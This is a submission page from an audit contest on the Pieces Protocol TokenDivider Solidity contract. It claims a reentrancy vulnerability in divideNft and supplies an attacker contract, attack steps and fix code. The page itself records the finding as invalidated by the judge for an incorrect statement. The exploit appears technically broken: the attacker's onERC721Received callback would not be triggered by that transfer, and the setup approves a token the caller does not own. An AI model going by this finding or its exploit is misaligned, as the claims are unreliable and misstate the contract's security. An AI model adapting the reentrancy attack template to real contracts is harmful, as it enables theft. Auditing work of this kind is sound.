Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Critical State Update Sequencing Vulnerability in TokenDivider Contract

Summary

The TokenDivider contract performs state updates after making external contract calls, violating the checks-effects-interactions pattern. This sequencing creates a critical vulnerability where contract state could become inconsistent or manipulated through reentrancy attacks and failed external calls.

Impact

The improper state update sequencing could lead to:

  • Reentrancy attacks leading to double-spending

  • Inconsistent contract state

  • NFT or token theft

  • Permanent state corruption

  • Loss of user funds

  • Fractional token duplication

Tool Used

Foundry

Detailed Proof of Concept

Vulnerable Implementation

function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
onlyNftOwner(nftAddress, tokenId)
external {
// External call #1
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(...);
erc20Contract.mint(address(this), amount);
address erc20 = address(erc20Contract);
// External call #2
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
// State updates AFTER external calls (VULNERABLE)
balances[msg.sender][erc20] = amount; // State change #1
nftToErc20Info[nftAddress] = ERC20Info({...}); // State change #2
erc20ToMintedAmount[erc20] = amount; // State change #3
erc20ToNft[erc20] = nftAddress; // State change #4
// External call #3
IERC20(erc20).transfer(msg.sender, amount);
}

Exploit Contract

contract StateManipulationAttacker {
TokenDivider target;
address public nftAddress;
uint256 public tokenId;
uint256 public amount;
uint256 public attackCount;
constructor(address _target) {
target = TokenDivider(_target);
}
function attack(address _nft, uint256 _tokenId, uint256 _amount) external {
nftAddress = _nft;
tokenId = _tokenId;
amount = _amount;
// Initial call to divideNft
target.divideNft(nftAddress, tokenId, amount);
}
// Malicious callback function
function onERC721Received(
address operator,
address from,
uint256 _tokenId,
bytes calldata
) external returns (bytes4) {
if (attackCount == 0) {
attackCount++;
// Reenter before state updates
target.divideNft(nftAddress, tokenId, amount);
}
return this.onERC721Received.selector;
}
}

Attack Simulation

  1. Setup Attack Environment

// Deploy contracts
TokenDivider divider = new TokenDivider();
StateManipulationAttacker attacker = new StateManipulationAttacker(address(divider));
MockNFT nft = new MockNFT();
// Setup initial state
nft.mint(address(attacker), 1);
  1. Execute Attack

function executeAttack() public {
// Approve TokenDivider
nft.approve(address(divider), 1);
// Launch attack
attacker.attack(address(nft), 1, 1000);
// At this point:
// - State is corrupted
// - Multiple ERC20 tokens created for same NFT
// - Balances are incorrectly updated
}
  1. Attack Flow

1. attacker.attack() calls divideNft
2. divideNft creates ERC20 tokens and initiates NFT transfer
3. NFT transfer triggers onERC721Received in attacker
4. Attacker reenters divideNft before state updates
5. Second divideNft execution completes
6. First divideNft execution completes
7. State is now corrupted with multiple ERC20 tokens for same NFT

Recommendations

1. Implement Checks-Effects-Interactions Pattern

function divideNft(
address nftAddress,
uint256 tokenId,
uint256 amount
) external nonReentrant {
// 1. CHECKS
_validateInputs(nftAddress, tokenId, amount);
// 2. EFFECTS (State Changes)
address erc20Address = _createAndRecordERC20(
nftAddress,
tokenId,
amount
);
// 3. INTERACTIONS (External Calls)
_executeExternalCalls(
nftAddress,
tokenId,
erc20Address,
amount
);
}

2. Separate State Management

function _createAndRecordERC20(
address nftAddress,
uint256 tokenId,
uint256 amount
) private returns (address) {
// Create ERC20 contract
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(...);
address erc20 = address(erc20Contract);
// Update all state BEFORE external calls
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({
erc20Address: erc20,
tokenId: tokenId
});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
return erc20;
}

3. Safe External Interactions

function _executeExternalCalls(
address nftAddress,
uint256 tokenId,
address erc20Address,
uint256 amount
) private {
// Mint ERC20 tokens
ERC20ToGenerateNftFraccion(erc20Address).mint(address(this), amount);
// Transfer NFT
IERC721(nftAddress).safeTransferFrom(
msg.sender,
address(this),
tokenId
);
// Transfer ERC20 tokens
require(
IERC20(erc20Address).transfer(msg.sender, amount),
"ERC20 transfer failed"
);
}

4. Add State Validation

function _validateState(
address nftAddress,
address erc20Address
) private view {
require(
nftToErc20Info[nftAddress].erc20Address == erc20Address,
"State mismatch"
);
require(
erc20ToNft[erc20Address] == nftAddress,
"Token mapping mismatch"
);
}

Additional Recommendations:

  1. Implement State Locking

mapping(address => bool) private _locked;
modifier stateLocked(address nft) {
require(!_locked[nft], "State locked");
_locked[nft] = true;
_;
_locked[nft] = false;
}
  1. Add State Recovery Mechanism

function _rollbackState(
address nftAddress,
address erc20Address
) private {
delete balances[msg.sender][erc20Address];
delete nftToErc20Info[nftAddress];
delete erc20ToMintedAmount[erc20Address];
delete erc20ToNft[erc20Address];
}

These improvements provide:

  • Proper state management sequencing

  • Protection against reentrancy

  • Clear separation of concerns

  • State validation

  • Recovery mechanisms

  • Atomic operations

Updates

Lead Judging Commences

fishy Lead Judge 5 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.